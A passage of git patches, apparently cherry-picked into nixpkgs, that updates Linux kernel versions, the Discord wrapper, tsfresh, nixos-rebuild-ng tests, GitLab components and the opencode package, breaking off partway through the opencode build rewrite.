Date: Thu, 10 Jul 2025 18:31:40 +0300
Subject: [PATCH 2240/4511] linux_6_15: 6.15.5 -> 6.15.6

(cherry picked from commit 1c94e6d8666edef78942e0b01fea9aaf33515d9f)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c5535c30a072..7dbcd8681344 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.5",
-        "hash": "sha256:1dc8qrwvvy34s5lgm43j295ipwaqm8wd8x4qchr14hqlkj9hg9rc"
+        "version": "6.15.6",
+        "hash": "sha256:1z5l0b59q56qj6s56cxzv43lhfx9z9sp4vfziw60fz97ak4qdd9b"
     }
 }

From 7545d825776051bbea3e98e76de788328b61b9fd Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 10 Jul 2025 18:31:50 +0300
Subject: [PATCH 2241/4511] linux_6_12: 6.12.36 -> 6.12.37

(cherry picked from commit 60b5df989fd0c4e3cf41091ad7db19973dc86b8b)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7dbcd8681344..598d3527ace6 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1p8v49w7z8w3wc68mbw46cz9xqrllc8cpa7nqlm2xnrssi1mir4y"
     },
     "6.12": {
-        "version": "6.12.36",
-        "hash": "sha256:135s057ya63zw4v1jr9lzjdxk60ahr9v38hbv6nima755pnql5ja"
+        "version": "6.12.37",
+        "hash": "sha256:15gzcbkjkycvghjvpx3qshnc4416fw3ln2afip1hlpjv839dyvwk"
     },
     "6.13": {
         "version": "6.13.12",

From 804842f6522183136547173db1c49460f27420e6 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 10 Jul 2025 18:31:58 +0300
Subject: [PATCH 2242/4511] linux_6_6: 6.6.96 -> 6.6.97

(cherry picked from commit 0b11184e36d953ce48cf417fc2f48d34e6069368)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 598d3527ace6..3ac2b8ef48c1 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
     },
     "6.6": {
-        "version": "6.6.96",
-        "hash": "sha256:1p8v49w7z8w3wc68mbw46cz9xqrllc8cpa7nqlm2xnrssi1mir4y"
+        "version": "6.6.97",
+        "hash": "sha256:0fzfp46czdk3v8mnphiv9n68xf434igjkhx9nxbdlhl1cdqc2rrv"
     },
     "6.12": {
         "version": "6.12.37",

From c4f63103e2676b1c69e9d04f8cc15def6f6e2b6f Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 10 Jul 2025 18:32:09 +0300
Subject: [PATCH 2243/4511] linux_6_1: 6.1.143 -> 6.1.144

(cherry picked from commit b39a2c7450bb693391a07af4667a19c7708011ed)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 3ac2b8ef48c1..9821927cdf5a 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:0will8rmmdlcxyrflr778264h9pfv67cpqqnas112r248vicnkny"
     },
     "6.1": {
-        "version": "6.1.143",
-        "hash": "sha256:02ivq22hv42bcnssfpkkbqlhz1by9jrfrqlrz1wi0svysz2dlnz2"
+        "version": "6.1.144",
+        "hash": "sha256:1kvskw600nm6ybd5yr940cx3fz0l9myyqzsk7l30cxdx5yjbsj8g"
     },
     "5.15": {
         "version": "5.15.186",

From 01e03a09fe8039a9f82429785aeb5a0ea1968b37 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 10 Jul 2025 18:32:20 +0300
Subject: [PATCH 2244/4511] linux_5_15: 5.15.186 -> 5.15.187

(cherry picked from commit ddb0a903fbf61e06cffbce959ab033e5b6316599)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 9821927cdf5a..53e2216f3e32 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -8,8 +8,8 @@
         "hash": "sha256:1kvskw600nm6ybd5yr940cx3fz0l9myyqzsk7l30cxdx5yjbsj8g"
     },
     "5.15": {
-        "version": "5.15.186",
-        "hash": "sha256:0anbf7v0m26da0c6d0z925im4x2kf8kswpbv056543amxvbzsklw"
+        "version": "5.15.187",
+        "hash": "sha256:057zmzq364483gc5n9aab8mi0bxbk3nyc2nnziwq4hc197l6wy11"
     },
     "5.10": {
         "version": "5.10.239",

From 35c272a9fd6415b6165c0a53e16a4a7a0b03417f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Na=C3=AFm=20Camille=20Favier?= <n@monade.li>
Date: Sun, 6 Jul 2025 17:54:47 +0200
Subject: [PATCH 2245/4511] discord: add commandLineArgs

Adds an option to append arbitrary command-line arguments to the wrapper.

This allows fixing an issue with DPI scaling in Electron apps by passing
`--force-device-scale-factor=<scale>`, like for Chrome and VSCode.

(cherry picked from commit 0025e0ec6e81ca9920f09df37d8f15dcd86619f5)
---
 .../networking/instant-messengers/discord/darwin.nix          | 4 +++-
 .../networking/instant-messengers/discord/linux.nix           | 4 +++-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/darwin.nix b/pkgs/applications/networking/instant-messengers/discord/darwin.nix
index 46ef6977cc75..179d0651a839 100644
--- a/pkgs/applications/networking/instant-messengers/discord/darwin.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/darwin.nix
@@ -19,6 +19,7 @@
   vencord,
   withMoonlight ? false,
   moonlight,
+  commandLineArgs ? "",
 }:
 
 assert lib.assertMsg (
@@ -64,7 +65,8 @@ stdenv.mkDerivation {
     # wrap executable to $out/bin
     mkdir -p $out/bin
     makeWrapper "$out/Applications/${desktopName}.app/Contents/MacOS/${binaryName}" "$out/bin/${binaryName}" \
-      --run ${lib.getExe disableBreakingUpdates}
+      --run ${lib.getExe disableBreakingUpdates} \
+      --add-flags ${lib.escapeShellArg commandLineArgs}
 
     runHook postInstall
   '';
diff --git a/pkgs/applications/networking/instant-messengers/discord/linux.nix b/pkgs/applications/networking/instant-messengers/discord/linux.nix
index be1542797e95..dcc952198f5d 100644
--- a/pkgs/applications/networking/instant-messengers/discord/linux.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/linux.nix
@@ -70,6 +70,7 @@
   # The intended use-case for this is when SKIP_HOST_UPDATE is enabled via other means,
   # for example if a settings.json is linked declaratively (e.g., with home-manager).
   disableUpdates ? true,
+  commandLineArgs ? "",
 }:
 assert lib.assertMsg (
   !(withMoonlight && withVencord)
@@ -184,7 +185,8 @@ stdenv.mkDerivation rec {
         ${lib.strings.optionalString enableAutoscroll "--add-flags \"--enable-blink-features=MiddleClickAutoscroll\""} \
         --prefix XDG_DATA_DIRS : "${gtk3}/share/gsettings-schemas/${gtk3.name}/" \
         --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/${binaryName} \
-        ${lib.strings.optionalString disableUpdates "--run ${lib.getExe disableBreakingUpdates}"}
+        ${lib.strings.optionalString disableUpdates "--run ${lib.getExe disableBreakingUpdates}"} \
+        --add-flags ${lib.escapeShellArg commandLineArgs}
 
     ln -s $out/opt/${binaryName}/${binaryName} $out/bin/
     # Without || true the install would fail on case-insensitive filesystems

From 50918a7b0c3236ec897f793cc9778e9ad4a26de6 Mon Sep 17 00:00:00 2001
From: Yuriy Taraday <yuriy.taraday@tweag.io>
Date: Fri, 13 Jun 2025 15:07:07 +0200
Subject: [PATCH 2246/4511] python3Packages.tsfresh: 0.20.3 -> 0.21.0

https://github.com/blue-yonder/tsfresh/blob/refs/tags/v0.21.0/CHANGES.rst

* disable tests on Python verions where pandas-daatareader doesn't work
* add dependency on pywavelets that fixes incompatibility with the
  current version of scipy

(cherry picked from commit 7835da5393b3c0adecb66ce20f8bbbf68b975ab1)
---
 .../python-modules/tsfresh/default.nix            | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/tsfresh/default.nix b/pkgs/development/python-modules/tsfresh/default.nix
index 3b8b7d75c447..923ee425a873 100644
--- a/pkgs/development/python-modules/tsfresh/default.nix
+++ b/pkgs/development/python-modules/tsfresh/default.nix
@@ -24,11 +24,13 @@
   ipython,
   notebook,
   pandas-datareader,
+  setuptools,
+  pywavelets,
 }:
 
 buildPythonPackage rec {
   pname = "tsfresh";
-  version = "0.20.3";
+  version = "0.21.0";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
@@ -36,8 +38,8 @@ buildPythonPackage rec {
   src = fetchFromGitHub {
     owner = "blue-yonder";
     repo = "tsfresh";
-    rev = "refs/tags/v${version}";
-    hash = "sha256-Lw70PDiRVPiTzpnbfKSo7jjfBitCePSy15QL0z7+bMg=";
+    tag = "v${version}";
+    hash = "sha256-XwNCI1J/Z6w7nq59s9rSN4eVGgrMDQjPpGFy9SxrTn0=";
   };
 
   patches = [
@@ -47,6 +49,7 @@ buildPythonPackage rec {
   ];
 
   dependencies = [
+    setuptools
     requests
     numpy
     pandas
@@ -59,8 +62,12 @@ buildPythonPackage rec {
     distributed
     stumpy
     cloudpickle
+    pywavelets
   ] ++ dask.optional-dependencies.dataframe;
 
+  # python-datareader is disabled on Python 3.12+ and is require only for checks.
+  doCheck = !pandas-datareader.disabled;
+
   nativeCheckInputs = [
     pytestCheckHook
     pytest-xdist
@@ -98,7 +105,7 @@ buildPythonPackage rec {
     description = "Automatic extraction of relevant features from time series";
     mainProgram = "run_tsfresh";
     homepage = "https://github.com/blue-yonder/tsfresh";
-    changelog = "https://github.com/blue-yonder/tsfresh/blob/${src.rev}/CHANGES.rst";
+    changelog = "https://github.com/blue-yonder/tsfresh/blob/${src.tag}/CHANGES.rst";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ mbalatsko ];
   };

From f0d3ddf259dabef1fc340ce6a3d37703eaa7c083 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 10 Jul 2025 10:07:42 +0100
Subject: [PATCH 2247/4511] nixos-rebuild-ng: fix tests in darwin

Closes #423988.

(cherry picked from commit 306c312fc14fbec6bc4854da10b533082590475f)
---
 .../by-name/ni/nixos-rebuild-ng/src/tests/test_models.py | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
index 90c3060e9ce4..c2abc9501bb9 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
@@ -108,9 +108,9 @@ def test_flake_from_arg(
             return_value=True,
         ),
         patch(
-            "pathlib.Path.is_symlink",
+            "pathlib.Path.resolve",
             autospec=True,
-            return_value=False,
+            return_value=Path("/etc/nixos/flake.nix"),
         ),
     ):
         assert m.Flake.from_arg(None, None) == m.Flake(
@@ -123,11 +123,6 @@ def test_flake_from_arg(
             autospec=True,
             return_value=True,
         ),
-        patch(
-            "pathlib.Path.is_symlink",
-            autospec=True,
-            return_value=True,
-        ),
         patch(
             "pathlib.Path.resolve",
             autospec=True,

From aa52cda91f20398c8952dedd1881ceb335649a10 Mon Sep 17 00:00:00 2001
From: Jessie Slight <jslight@effortlessoffice.com>
Date: Wed, 9 Jul 2025 12:34:52 -0700
Subject: [PATCH 2248/4511] gitlab: 18.1.1 -> 18.1.2

(cherry picked from commit 2c471cd46ef3716fc1aac48965323ed59c51c072)
---
 pkgs/by-name/gi/gitaly/package.nix                   |  4 ++--
 .../by-name/gi/gitlab-container-registry/package.nix |  6 +++---
 pkgs/by-name/gi/gitlab-pages/package.nix             |  4 ++--
 pkgs/by-name/gi/gitlab/data.json                     | 12 ++++++------
 pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix  |  2 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile               |  4 +++-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock          |  8 ++++----
 pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix            |  4 ++--
 8 files changed, 23 insertions(+), 21 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index c44d42860fd1..f27132f57d2a 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.1.1";
+  version = "18.1.2";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-R79UV6QIEO/B7xQ3ds4scm7twHmalziksKBJ97tYVJM=";
+      hash = "sha256-ErA04W6rWsjSay02bst0ur1mztrdo8SW/mpGtln4unI=";
     };
 
     vendorHash = "sha256-BTpcnaHNyLgdAA9KqqA+mBo18fmQ0+OwLGNOPHRJ/IE=";
diff --git a/pkgs/by-name/gi/gitlab-container-registry/package.nix b/pkgs/by-name/gi/gitlab-container-registry/package.nix
index 73f1209fbad9..d5013e8d13d6 100644
--- a/pkgs/by-name/gi/gitlab-container-registry/package.nix
+++ b/pkgs/by-name/gi/gitlab-container-registry/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule rec {
   pname = "gitlab-container-registry";
-  version = "4.23.1";
+  version = "4.24.0";
   rev = "v${version}-gitlab";
 
   # nixpkgs-update: no auto update
@@ -14,10 +14,10 @@ buildGoModule rec {
     owner = "gitlab-org";
     repo = "container-registry";
     inherit rev;
-    hash = "sha256-eCuSuQXtzd2jLJf9G8DO1KGXdT8bYGe9tcKw6BZNiiI=";
+    hash = "sha256-GNL7L6DKIKEgDEZQkeHNOn4R5SnWnHvNoUIs2YLjoR8=";
   };
 
-  vendorHash = "sha256-OrdlQp+USRf+Yc7UDjIncDpbuRu5ui6TUoYY2MMc8Ro=";
+  vendorHash = "sha256-zisadCxyfItD/n7VGbtbvhl8MRHiqdw0Kkrg6ebgS/8=";
 
   checkFlags =
     let
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index b23e8093049d..094ad7693f37 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.1.1";
+  version = "18.1.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-tqT+ARebnBhBHzOenkL/o7/tf4/urxKFAOFMwCQSzeA=";
+    hash = "sha256-XY/WK19nujQPdsicGDHS5gEZf3uJZdW41R4xK9hDML0=";
   };
 
   vendorHash = "sha256-6ZHKwPhC3N813kiw1NnPOMVc2CBSIClwc4MunDi0gCk=";
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index fd510ddfea1e..7e6ef7cd5e0f 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.1.1",
-  "repo_hash": "1agw51d1qvvx6yyzz71sz4mkx04ic8hmql8lggz3x5scnhglnzjq",
+  "version": "18.1.2",
+  "repo_hash": "072ib6rc7mw9pdzql8514k4z76i1ahssyj5kypgyvf9qj4naym0b",
   "yarn_hash": "0c5pp3dpvw0q0nfl6w1lpdmk7dvkfinwb7z7a3vq22wgzca23x2m",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.1.1-ee",
+  "rev": "v18.1.2-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.1.1",
-    "GITLAB_PAGES_VERSION": "18.1.1",
+    "GITALY_SERVER_VERSION": "18.1.2",
+    "GITLAB_PAGES_VERSION": "18.1.2",
     "GITLAB_SHELL_VERSION": "14.42.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.6.0",
-    "GITLAB_WORKHORSE_VERSION": "18.1.1"
+    "GITLAB_WORKHORSE_VERSION": "18.1.2"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 3c9a7bfe0e3b..d32d1530b2ce 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.1.1";
+  version = "18.1.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
index 8913861030c1..b8cd3db40e42 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
@@ -648,7 +648,9 @@ gem 'gitaly', '~> 18.1.0.pre.rc1', feature_category: :gitaly
 # KAS GRPC protocol definitions
 gem 'gitlab-kas-grpc', '~> 17.11.0', feature_category: :deployment_management
 
-gem 'grpc', '~> 1.72.0', feature_category: :shared
+# Lock until 1.74.0 is available
+# https://gitlab.com/gitlab-com/gl-infra/production/-/issues/20067
+gem 'grpc', '= 1.63.0', feature_category: :shared
 
 gem 'google-protobuf', '~> 3.25', '>= 3.25.3', feature_category: :shared
 
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index 637c16927096..e5a452a4d519 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -48,7 +48,7 @@ PATH
       google-cloud-storage_transfer (~> 1.2.0)
       google-protobuf (~> 3.25, >= 3.25.3)
       googleauth (~> 1.8.1)
-      grpc (~> 1.72.0)
+      grpc (= 1.63.0)
       json (~> 2.7)
       jwt (~> 2.5)
       logger (~> 1.5)
@@ -956,8 +956,8 @@ GEM
       graphql (~> 2.0)
       html-pipeline (~> 2.14, >= 2.14.3)
       sass-embedded (~> 1.58)
-    grpc (1.72.0)
-      google-protobuf (>= 3.25, < 5.0)
+    grpc (1.63.0)
+      google-protobuf (~> 3.25)
       googleapis-common-protos-types (~> 1.0)
     grpc-google-iam-v1 (1.5.0)
       google-protobuf (~> 3.18)
@@ -2210,7 +2210,7 @@ DEPENDENCIES
   graphlyte (~> 1.0.0)
   graphql (= 2.4.13)
   graphql-docs (~> 5.0.0)
-  grpc (~> 1.72.0)
+  grpc (= 1.63.0)
   gssapi (~> 1.3.1)
   guard-rspec
   haml_lint (~> 0.58)
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
index 33afdf2cb5d1..4edeca120f33 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
@@ -3886,10 +3886,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "02gakdhvpl777b41i8cgkrj7gk0jlq4fza9hjksp2r7ryji0vyjn";
+      sha256 = "11ink0ayf14qgs3msn5a7dpg49vm3ck2415r64nfk1i8xv286hsz";
       type = "gem";
     };
-    version = "1.72.0";
+    version = "1.63.0";
   };
   grpc-google-iam-v1 = {
     dependencies = [

From fdf8d978744141b0c120ea9ba2bdfae99c786eff Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 10 Jun 2025 14:01:01 +0200
Subject: [PATCH 2249/4511] opencode: 0.0.46 -> 0.0.52, switch to sst fork

(cherry picked from commit f917ffcbdf7ffc26340c572e2474be43dcd5fd8e)
---
 pkgs/by-name/op/opencode/package.nix | 28 ++++++++++++++++++++++++----
 1 file changed, 24 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 1b0f99707070..b9c76b50677b 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -2,20 +2,28 @@
   lib,
   fetchFromGitHub,
   buildGoModule,
+  versionCheckHook,
+  nix-update-script,
 }:
 
 buildGoModule (finalAttrs: {
   pname = "opencode";
-  version = "0.0.46";
+  version = "0.0.52";
 
   src = fetchFromGitHub {
-    owner = "opencode-ai";
+    owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Q7ArUsFMpe0zayUMBJd+fC1K4jTGElIFep31Qa/L1jY=";
+    hash = "sha256-wniGu8EXOI2/sCI7gv2luQgODRdes7tt1CoJ6Gs09ig=";
   };
 
-  vendorHash = "sha256-MVpluFTF/2S6tRQQAXE3ujskQZ3njBkfve0RQgk3IkQ=";
+  vendorHash = "sha256-pnev0o2/jirTqG67amCeI49XUdMCCulpGq/jYqGqzRY=";
+
+  ldflags = [
+    "-s"
+    "-w"
+    "-X github.com/sst/opencode/internal/version.Version=${finalAttrs.version}"
+  ];
 
   checkFlags =
     let
@@ -24,13 +32,25 @@ buildGoModule (finalAttrs: {
         "TestBashTool_Run"
         "TestSourcegraphTool_Run"
         "TestLsTool_Run"
+
+        # Difference with snapshot
+        "TestGetContextFromPaths"
       ];
     in
     [ "-skip=^${lib.concatStringsSep "$|^" skippedTests}$" ];
 
+  nativeCheckInputs = [
+    versionCheckHook
+  ];
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "Powerful terminal-based AI assistant providing intelligent coding assistance";
     homepage = "https://github.com/opencode-ai/opencode";
+    changelog = "https://github.com/sst/opencode/releases/tag/v${finalAttrs.version}";
     mainProgram = "opencode";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [

From 5d72b0595670db9ad6948c5943a1b356e29732f8 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 14 Jun 2025 19:58:27 +0200
Subject: [PATCH 2250/4511] opencode: correct meta.homepage

(cherry picked from commit 70e5f1490916ca157181b4212519fed0c7c1d506)
---
 pkgs/by-name/op/opencode/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index b9c76b50677b..ded50ee0de41 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -49,7 +49,7 @@ buildGoModule (finalAttrs: {
 
   meta = {
     description = "Powerful terminal-based AI assistant providing intelligent coding assistance";
-    homepage = "https://github.com/opencode-ai/opencode";
+    homepage = "https://github.com/sst/opencode";
     changelog = "https://github.com/sst/opencode/releases/tag/v${finalAttrs.version}";
     mainProgram = "opencode";
     license = lib.licenses.mit;

From 3d4b5d132e14114e5172af041886eae5be860915 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 19 Jun 2025 19:18:23 +0200
Subject: [PATCH 2251/4511] maintainers: add delafthi

(cherry picked from commit f246c7f3e1e90eda55aa05c0b27f6810d8a59931)
---
 maintainers/maintainer-list.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 77949fba49b7..d6771c868fbd 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -5944,6 +5944,14 @@
     github = "deinferno";
     githubId = 14363193;
   };
+  delafthi = {
+    name = "Thierry Delafontaine";
+    email = "delafthi@pm.me";
+    matrix = "@delafthi:matrix.org";
+    github = "delafthi";
+    githubId = 50531499;
+    keys = [ { fingerprint = "6DBB 0BB9 AEE6 2C2A 8059  7E1C 0092 6686 9818 63CB"; } ];
+  };
   delehef = {
     name = "Franklin Delehelle";
     email = "nix@odena.eu";

From 0a04101fe7595af5a6aff16e3667b7c3beb62b16 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Tue, 24 Jun 2025 16:47:14 +0200
Subject: [PATCH 2252/4511] opencode: 0.0.52 -> 0.1.169

BREAKING CHANGE: This version forked from the original opencode and was
partially rebuilt. Therefore, there are various breaking changes.

(cherry picked from commit f89a4b3cd805369480ca441e77fd234fad53b6bf)
---
 .../op/opencode/fix-models-macro.patch        |   8 +
 pkgs/by-name/op/opencode/package.nix          | 178 ++++++++++++++----
 2 files changed, 145 insertions(+), 41 deletions(-)
 create mode 100644 pkgs/by-name/op/opencode/fix-models-macro.patch

diff --git a/pkgs/by-name/op/opencode/fix-models-macro.patch b/pkgs/by-name/op/opencode/fix-models-macro.patch
new file mode 100644
index 000000000000..662ee617de83
--- /dev/null
+++ b/pkgs/by-name/op/opencode/fix-models-macro.patch
@@ -0,0 +1,8 @@
+--- a/packages/opencode/src/provider/models-macro.ts
++++ b/packages/opencode/src/provider/models-macro.ts
+@@ -1,4 +1,3 @@
+ export async function data() {
+-  const json = await fetch("https://models.dev/api.json").then((x) => x.text())
+-  return json
++  return process.env.MODELS_JSON || '{}';
+ }
diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index ded50ee0de41..7a5748b16a36 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -1,60 +1,156 @@
 {
   lib,
-  fetchFromGitHub,
+  stdenv,
   buildGoModule,
-  versionCheckHook,
+  bun,
+  fetchFromGitHub,
+  fetchurl,
   nix-update-script,
+  testers,
 }:
 
-buildGoModule (finalAttrs: {
-  pname = "opencode";
-  version = "0.0.52";
-
+let
+  version = "0.1.169";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
-    tag = "v${finalAttrs.version}";
-    hash = "sha256-wniGu8EXOI2/sCI7gv2luQgODRdes7tt1CoJ6Gs09ig=";
+    tag = "v${version}";
+    hash = "sha256-XCtO89yj+ov+f1Quof4hCWxL8l4xcFkqRWFW808GiUs=";
   };
 
-  vendorHash = "sha256-pnev0o2/jirTqG67amCeI49XUdMCCulpGq/jYqGqzRY=";
+  opencode-tui = buildGoModule {
+    pname = "opencode-tui";
+    inherit version src;
 
-  ldflags = [
-    "-s"
-    "-w"
-    "-X github.com/sst/opencode/internal/version.Version=${finalAttrs.version}"
-  ];
+    sourceRoot = "source/packages/tui";
 
-  checkFlags =
-    let
-      skippedTests = [
-        # permission denied
-        "TestBashTool_Run"
-        "TestSourcegraphTool_Run"
-        "TestLsTool_Run"
+    vendorHash = "sha256-jUxBlBP8eKyDXVvYIZhcrSMfUvGb8/mTPZiPxlCfwLs=";
 
-        # Difference with snapshot
-        "TestGetContextFromPaths"
-      ];
-    in
-    [ "-skip=^${lib.concatStringsSep "$|^" skippedTests}$" ];
+    subPackages = [ "cmd/opencode" ];
 
-  nativeCheckInputs = [
-    versionCheckHook
-  ];
-  versionCheckProgramArg = "--version";
-  doInstallCheck = true;
+    env.CGO_ENABLED = 0;
 
-  passthru.updateScript = nix-update-script { };
-
-  meta = {
-    description = "Powerful terminal-based AI assistant providing intelligent coding assistance";
-    homepage = "https://github.com/sst/opencode";
-    changelog = "https://github.com/sst/opencode/releases/tag/v${finalAttrs.version}";
-    mainProgram = "opencode";
-    license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [
-      zestsystem
+    ldflags = [
+      "-s"
+      "-w"
+      "-X=main.Version=${version}"
     ];
   };
+
+  opencode-node-modules-hash = {
+    "aarch64-darwin" = "sha256-5Y9bfzYaO1iwSgpkCwPuUCDRtG8uXwgKm98sq78HisI=";
+    "aarch64-linux" = "sha256-t7dcyPsWeqYJv4/DPP15bvVurVPGCXWXVPUfpk1+l1Q=";
+    "x86_64-darwin" = "sha256-qYljdz4iyl3aZBhVU+uIVx4ZsvY9ubTTLNxJ94TUkBo=";
